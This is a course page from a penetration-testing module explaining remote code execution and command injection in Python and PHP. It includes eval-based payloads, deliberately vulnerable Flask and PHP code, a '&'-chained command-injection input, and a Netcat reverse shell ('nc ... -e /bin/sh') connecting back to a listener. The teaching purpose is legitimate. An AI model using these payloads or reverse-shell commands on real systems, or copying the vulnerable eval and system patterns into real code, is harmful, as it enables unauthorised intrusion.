Skip to content

Web Shells and Remote Code Execution

We have looked at several ways of getting a shell on a remote system. However, most of the methods we have looked at rely on you already having some kind of terminal access (or an account on the machine).

Remote code execution, (or command injection) is a security flaw that allows an attacker to run language, or system commands on a remote machine.

We can't expect our targets to allow us to directly run commands on a remote1, so how can we get this first stage of access?

We need two things:

  1. Publicly accessible interface (ie a Website / API / App)
  2. An implementation mistake that lets us do Something Interesting™

As we will see later in the Module, the web gives us a wide range of options for Interesting things to do. It might be an unsecured upload that lets us put a shell on the server, they might let us load data from a URL we control, or it could be RCE through an API.

Important

This week we will focus on the shells themselves, and not really worry about the exploit part. I hope this lets you get used to the idea of creating and connecting to the remote server, without confusing things getting bogged down in the details around HTTP Requests, LFI and friends.

In the rest of this section we will look at ways we can run commands on a remote machine. This is going to be the first stage of the exploit phase of a pentest, and will (hopefully) give you that foothold you need for further exploitation.

We will start with a basic RCE, and move onto more full featured web shell access.

Note

We are also going to have a PHP focus.

Firstly the choice of language doesn't make that much difference when demoing an exploit. Broadly speaking, an Insecure file upload is just as insecure when written in Python / Flask, as it is in PHP. Yes, we might have to use a different payload, but the mechanics of the exploit is the same.

Secondly, PHP can quite rightly say "I ATE'NT DEAD"2. Stats show it still used on around around 80% of sites3, (And WordPress makes up about 30% of the Internet). So its a big target market.

That's not to say we wont do stuff aside from PHP, but it will be more tightly focused4

Remote Code Execution (RCE)

The first thing we are going to look at is Remote Code Execution (RCE).

RCE is a type of exploit where the attacker is able to execute commands on the target machine. For example raw user input is executed by a program on the system (for example the PHP interpreter).

Depending on the types of command that can be run, the severity of a RCE attack can be major, with the attacker able to gain remote access to the target server.

A Non Web Example With Python

Lets start with a non web based example, we can do in the command line.

Python (and many other languages) have the eval() function. This takes some form of user input and evaluates it in the interpreter.

Its usually there to give developers an easy way of turning strings into code, without having to go through a complex conversion process. For example, we could use it to create a simple calculator.

>>> theString = "1+1"
>>> eval(theString)
2

However, a user could abuse the eval function in the calculator, to change the behaviour of the system

For example, we could use the system module to run OS commands through python.

>>> theString = "__import__('os').system('id')"
>>> eval(theString)
uid=1000(dang) gid=1000(dang) groups=1000(dang),56(bumblebee),977(docker),987(uucp),998(wheel)
0
>>> 
Evil Teacher

This is also the issue in the Moodle RCE vulnerability we looked at in week 1.

While there was some sanitation of user input before it was passed to an eval statement.

If you haven't seen it already, there's a great write-up here.

https://blog.ripstech.com/2018/moodle-remote-code-execution/

A Digression into Pythons Input function.

A Classic example of a code execution flaw was found in the Python2 input() function5. input would take whatever the user supplied as data, evaluate it, and return the result.

Beginner Tutorials were full of things like this, ready to trap unsuspecting programmers[^audience]:

>>> out = input()
2 + 2
>>> out
4

However, we had a security flaw here with the automatic evaluation of the code. Behind the scenes python would execute whatever was input and display the result. This would allow us to run system commands, like in the example above.

For example

>>> out = input()
__import__("os").system("whoami")
desktop-kjdvq2j\dang
>>>

Note

To me, the Really scary thing about this input flaw is how it gets used in many beginner tutorials. (Without Any Real Warnings about it)

For example:

  • https://www.geeksforgeeks.org/taking-input-from-console-in-python/
  • https://www.askpython.com/python/examples/python-user-input

Additionally, the safe version raw_input has been renamed to input for python 3. This means that the "OFFICIAL" tutorials recommend using input, without any mention of the security issues from the prior version.

While I appreciate Py2 is end of life, but it is still heavily used. Given how prevalent "Programming by stack overflow" is, it's an interesting problem.

RCE in web applications

So how could RCE effect us in our web applications, and what can we do with it when it exists?

In the next two examples we will look at a straightforward web based RCE for both Python and PHP.

RCE in python web applications

Lets stick with the current Python example, this time our developer has added an eval based calculation to the web page.

In flask this could look something like this:

@app.route("/eval")
def calculate():
    output = None
    command = flask.request.args.get("payload")
    if command:
        output = eval(command)
    return flask.render_template('calculator.html', command = command)

Like in the example above, all the attacker needs to do is modify the input to allow them to run system commands.

RCE in PHP applications

We can see a similar problem in PHP. Dangerous functions include:

  • include()
  • eval()
  • exec()
  • system()

If we allow the user to supply unsanitised input to any of these commands, then it is possible that RCE could occur.

Getting a Shell with RCE

Once we can start running our own commands on a remote system, getting a shell becomes much easier. For example, we may have full access to the underlying OS and its functionality.

This gives us a POC:

  1. Use RCE to locate a useful binary that will give us a remote shell
  2. Use RCE to create a remote shell
  3. ...
  4. Profit

Lets walk through an example with the PHP application above.

The first thing we want to do is find something that will give us a full shell. As this week is all about shells, lets see if Netcat exists on the system

which nc

We will use a reverse shell, so lets setup a listener on our local machine

ncat -nvlp 4444

Finally we use the RCE to create the reverse shell, that connects back to the local machine

nc -nv 192.168.1.6 4444 -e /bin/sh

A More Complex Example

Lets also have a more complex (but realistic) example that requires working our way around a "filter".

Imagine the developer is writing code that allows us to check connectivity to a remote server.

The Linux command we could use for this is:

ping <target> -c 4

PHP Code that allows the user to run this through a form could look like this

<form method="POST">
  Target:  <input name="target">
  <button type="submit">GO</button>
</form>   

<?php
$target = $_get[target];
system(ping $target -c 4);
?>

As there is no sanitation on the input an attacker could abuse this function to execute commands. However, in this case we have a little bit of a speed bump in that we cannot just execute the command directly, as our input is part of an existing string. In this case we need to do a bit more work to inject the code we want to run..

Step 1: Using just the command

If we just use whoami as the input we fail as

ping whoami -c 4* 

is not a valid command. We therefore need to find some way of ending the ping and starting a new command

Step 2: Using & to run multiple commands

In Linux the & symbol tells the operating system to run the given command in the background. This means we can use it to chain multiple commands together.

If we change our input to be bleh & whoami The following happens

  • The ping bleh command starts, and try's to talk to bleh (We use a non existent site to avoid issues with a permanent ping loop)
  • the whoami -c 4 is executed (and fails as there is no option for -c in whoami)
Step 3: Removing the arguments

We still need to remove the -c 4 argument. Again we can use & to break up the command, and allow the bash interpreter to parse it correctly.

bleh & whoami & ping 127.0.0.1```
  • As before The ping bleh command starts, and trys to talk to bleh
  • the whoami is executed (and displays our user name)
  • ping 127.0.0.1 -c 4 is executed (and fails, as there is no such command)

Once we clean up the input enough to find the right way of running commands, it is simple enough to modify the payload to do something more useful (like drop a shell).

Remote Code Execution: Summary

RCE allows us to run commands on a remote machine. While we might be limited in the commands we can run, it can be useful for enumerating files on a system, and can also be the first step in getting a more powerful remote shell[^rcenote]

While the examples so far are simple, its a really important concept to get used to. We will be revisiting RCE later in the module when we look at web hacking in more detail.

Task

Use the Shell Playground docker to play with Remote code execution

  • Can you read and write files using RCE?
    • What is the contents of /etc/passwd
    • Create a new file called evil.txt
  • Using Netcat
    • Try to get a remote shell on the PHP box
    • Try to get a remote shell on the Linux Box

Discuss

We have covered, RCE in just two languages. But the same approach can be used with most languages.

Do you have a killer one liner you couldn't do without? What about other RCE techniques?

Share on the aula with the tag #rce

Further Reading

Some useful cheat sheets for RCE.

Portswigger on Command Injection Cheat Sheet from AllOfTheThings Cheat Sheet from High On Coffee


  1. Though, sometimes these things happen 

  2. If you haven't read Pratchett, you really should. 

  3. W3Techs 

  4. Every put together a CTF? Then you know how much time these things take. We are running a fine line between getting cool stuff done, madness, and having a bit of time to play DCS. Losing it bit here is worth it for the later stuff. 

  5. Python 2 Input Function NOTE: I am really surprised this doesn't have a BIG RED WARNING attached to it. 

  6. OK, going a bit OTT here, its not like this sort of code is going to reach a massive audience, but habits stick around. 

  7. While we tend to think of RCE as the first stage towards getting a shell, sometimes its all we need. If you can execute commands on the box you have won. 

Back to top